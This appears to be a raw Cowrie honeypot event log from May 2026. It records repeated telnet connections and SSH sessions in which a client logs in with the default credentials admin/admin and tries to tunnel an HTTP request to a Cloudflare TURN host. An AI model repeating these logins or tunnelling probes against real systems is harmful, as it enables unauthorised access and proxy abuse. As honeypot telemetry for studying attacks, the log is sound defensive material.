{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36940,"dst_ip":"159.203.135.109","dst_port":23,"session":"f59ed13b009d","protocol":"telnet","message":"New connection: 162.55.233.176:36940 (159.203.135.109:23) [session: f59ed13b009d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:21.538198Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36950,"dst_ip":"159.203.135.109","dst_port":23,"session":"029c6d96d6e1","protocol":"telnet","message":"New connection: 162.55.233.176:36950 (159.203.135.109:23) [session: 029c6d96d6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:21.892733Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36952,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe99337c32b3","protocol":"telnet","message":"New connection: 162.55.233.176:36952 (159.203.135.109:23) [session: fe99337c32b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:22.257601Z"}
{"eventid":"cowrie.session.closed","duration":34.664918661117554,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:22.647246Z","src_ip":"162.55.233.176","session":"dbed649ee2bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36956,"dst_ip":"159.203.135.109","dst_port":23,"session":"648c6ffff462","protocol":"telnet","message":"New connection: 162.55.233.176:36956 (159.203.135.109:23) [session: 648c6ffff462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:22.885395Z"}
{"eventid":"cowrie.session.closed","duration":31.60059642791748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:22.908544Z","src_ip":"162.55.233.176","session":"c01b0c14d4d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54768,"dst_ip":"159.203.135.109","dst_port":23,"session":"b14073892b45","protocol":"telnet","message":"New connection: 162.55.233.176:54768 (159.203.135.109:23) [session: b14073892b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:23.043093Z"}
{"eventid":"cowrie.session.closed","duration":33.3651659488678,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:23.049723Z","src_ip":"162.55.233.176","session":"75600572ff8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54770,"dst_ip":"159.203.135.109","dst_port":23,"session":"d866f30df758","protocol":"telnet","message":"New connection: 162.55.233.176:54770 (159.203.135.109:23) [session: d866f30df758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:23.201193Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54780,"dst_ip":"159.203.135.109","dst_port":23,"session":"d25e93e522f1","protocol":"telnet","message":"New connection: 162.55.233.176:54780 (159.203.135.109:23) [session: d25e93e522f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:23.254216Z"}
{"eventid":"cowrie.session.closed","duration":37.2354040145874,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:23.338565Z","src_ip":"162.55.233.176","session":"f93dc5f3e711","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54786,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b58d2bba024","protocol":"telnet","message":"New connection: 162.55.233.176:54786 (159.203.135.109:23) [session: 7b58d2bba024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:23.593177Z"}
{"eventid":"cowrie.session.closed","duration":34.168914794921875,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:23.787374Z","src_ip":"162.55.233.176","session":"b08cfa482804","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58886,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ff530179843","protocol":"telnet","message":"New connection: 206.189.32.23:58886 (10.17.0.5:23) [session: 8ff530179843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:23.921857Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":59866,"dst_ip":"10.17.0.5","dst_port":23,"session":"094a6eabb3a5","protocol":"telnet","message":"New connection: 206.189.32.23:59866 (10.17.0.5:23) [session: 094a6eabb3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:23.946249Z"}
{"eventid":"cowrie.session.closed","duration":38.11805987358093,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:24.255195Z","src_ip":"162.55.233.176","session":"5bc02e3566e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.344573736190796,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:24.399246Z","src_ip":"162.55.233.176","session":"40a7d62c6213","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.12240290641785,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:24.402960Z","src_ip":"162.55.233.176","session":"d74d2f9e1312","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.45199966430664,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:24.667019Z","src_ip":"162.55.233.176","session":"5ba0a24c91cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.194087505340576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:25.540326Z","src_ip":"162.55.233.176","session":"94d0653644cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.57215094566345,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:25.687133Z","src_ip":"162.55.233.176","session":"c7dfdbb13df0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.54948163032532,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:25.866341Z","src_ip":"162.55.233.176","session":"51394733767c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.18553042411804,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:25.912686Z","src_ip":"162.55.233.176","session":"e50de7835114","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33804,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba9ade479c39","protocol":"telnet","message":"New connection: 206.189.32.23:33804 (10.17.0.5:23) [session: ba9ade479c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:25.950839Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54790,"dst_ip":"159.203.135.109","dst_port":23,"session":"d11c57bb710d","protocol":"telnet","message":"New connection: 162.55.233.176:54790 (159.203.135.109:23) [session: d11c57bb710d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:26.206677Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54796,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f740ad09b7a","protocol":"telnet","message":"New connection: 162.55.233.176:54796 (159.203.135.109:23) [session: 3f740ad09b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:26.371130Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43068,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e96ed641226","protocol":"telnet","message":"New connection: 188.208.141.113:43068 (10.17.0.5:23) [session: 5e96ed641226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:26.593347Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54798,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ff2ad872436","protocol":"telnet","message":"New connection: 162.55.233.176:54798 (159.203.135.109:23) [session: 3ff2ad872436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:27.683502Z"}
{"eventid":"cowrie.session.closed","duration":30.83435034751892,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:27.740350Z","src_ip":"162.55.233.176","session":"b5c84d7e05f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.28252959251404,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:28.617346Z","src_ip":"206.189.32.23","session":"6854d3aa9e13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43082,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c468fb992d2","protocol":"telnet","message":"New connection: 188.208.141.113:43082 (10.17.0.5:23) [session: 3c468fb992d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:28.869420Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54810,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc912aea3efb","protocol":"telnet","message":"New connection: 162.55.233.176:54810 (159.203.135.109:23) [session: bc912aea3efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:29.066617Z"}
{"eventid":"cowrie.session.closed","duration":30.461106061935425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:29.386094Z","src_ip":"162.55.233.176","session":"e7163e7c55e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.4820175170898438,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:29.688610Z","src_ip":"162.55.233.176","session":"d11c57bb710d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.391188383102417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:29.819691Z","src_ip":"162.55.233.176","session":"57b9717baa73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54818,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bbfda561993","protocol":"telnet","message":"New connection: 162.55.233.176:54818 (159.203.135.109:23) [session: 2bbfda561993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:29.903335Z"}
{"eventid":"cowrie.session.closed","duration":34.74904274940491,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:29.932767Z","src_ip":"162.55.233.176","session":"6fdd528a8b9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.169300079345703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:30.667989Z","src_ip":"162.55.233.176","session":"820e8ec82839","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54824,"dst_ip":"159.203.135.109","dst_port":23,"session":"468274c9c944","protocol":"telnet","message":"New connection: 162.55.233.176:54824 (159.203.135.109:23) [session: 468274c9c944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:30.690840Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54832,"dst_ip":"159.203.135.109","dst_port":23,"session":"65136ab30a38","protocol":"telnet","message":"New connection: 162.55.233.176:54832 (159.203.135.109:23) [session: 65136ab30a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:30.733891Z"}
{"eventid":"cowrie.session.closed","duration":31.581122636795044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:30.885754Z","src_ip":"162.55.233.176","session":"3701d1e64fdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":53464,"dst_ip":"159.203.135.109","dst_port":22,"session":"5708e8f558a9","protocol":"ssh","message":"New connection: 45.148.10.121:53464 (159.203.135.109:22) [session: 5708e8f558a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:30.995412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:31.003785Z","src_ip":"45.148.10.121","session":"5708e8f558a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:31.088807Z","src_ip":"45.148.10.121","session":"5708e8f558a9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:31.371395Z","src_ip":"45.148.10.121","session":"5708e8f558a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:31.458946Z","session":"5708e8f558a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.51258659362793,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:31.482170Z","src_ip":"162.55.233.176","session":"d953e3ca6d2a","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:31.545758Z","src_ip":"45.148.10.121","session":"5708e8f558a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:31.549425Z","src_ip":"45.148.10.121","session":"5708e8f558a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54846,"dst_ip":"159.203.135.109","dst_port":23,"session":"85aa482c6ab5","protocol":"telnet","message":"New connection: 162.55.233.176:54846 (159.203.135.109:23) [session: 85aa482c6ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:31.601258Z"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:31.637168Z","src_ip":"45.148.10.121","session":"5708e8f558a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54850,"dst_ip":"159.203.135.109","dst_port":23,"session":"039cea89bd2b","protocol":"telnet","message":"New connection: 162.55.233.176:54850 (159.203.135.109:23) [session: 039cea89bd2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:31.711148Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":53474,"dst_ip":"159.203.135.109","dst_port":22,"session":"a88c35711b3e","protocol":"ssh","message":"New connection: 45.148.10.121:53474 (159.203.135.109:22) [session: a88c35711b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:31.722190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:31.726922Z","src_ip":"45.148.10.121","session":"a88c35711b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.85971403121948,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:31.739513Z","src_ip":"162.55.233.176","session":"0b8a49b3fbf6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:31.813858Z","src_ip":"45.148.10.121","session":"a88c35711b3e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:32.078479Z","src_ip":"45.148.10.121","session":"a88c35711b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54858,"dst_ip":"159.203.135.109","dst_port":23,"session":"258e0d6bcc4d","protocol":"telnet","message":"New connection: 162.55.233.176:54858 (159.203.135.109:23) [session: 258e0d6bcc4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:32.095511Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:32.168398Z","session":"a88c35711b3e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:32.256774Z","src_ip":"45.148.10.121","session":"a88c35711b3e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:32.260278Z","src_ip":"45.148.10.121","session":"a88c35711b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:32.350055Z","src_ip":"45.148.10.121","session":"a88c35711b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.51288938522339,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:32.600477Z","src_ip":"162.55.233.176","session":"de78d3a7cb59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.22433519363403,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:32.983909Z","src_ip":"162.55.233.176","session":"bed91527e356","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58600,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4b6f61fdff5","protocol":"telnet","message":"New connection: 162.55.233.176:58600 (159.203.135.109:23) [session: e4b6f61fdff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:33.142818Z"}
{"eventid":"cowrie.session.closed","duration":31.113369464874268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:33.147430Z","src_ip":"162.55.233.176","session":"3f99d90db8ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58616,"dst_ip":"159.203.135.109","dst_port":23,"session":"65be5bca9895","protocol":"telnet","message":"New connection: 162.55.233.176:58616 (159.203.135.109:23) [session: 65be5bca9895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:33.329595Z"}
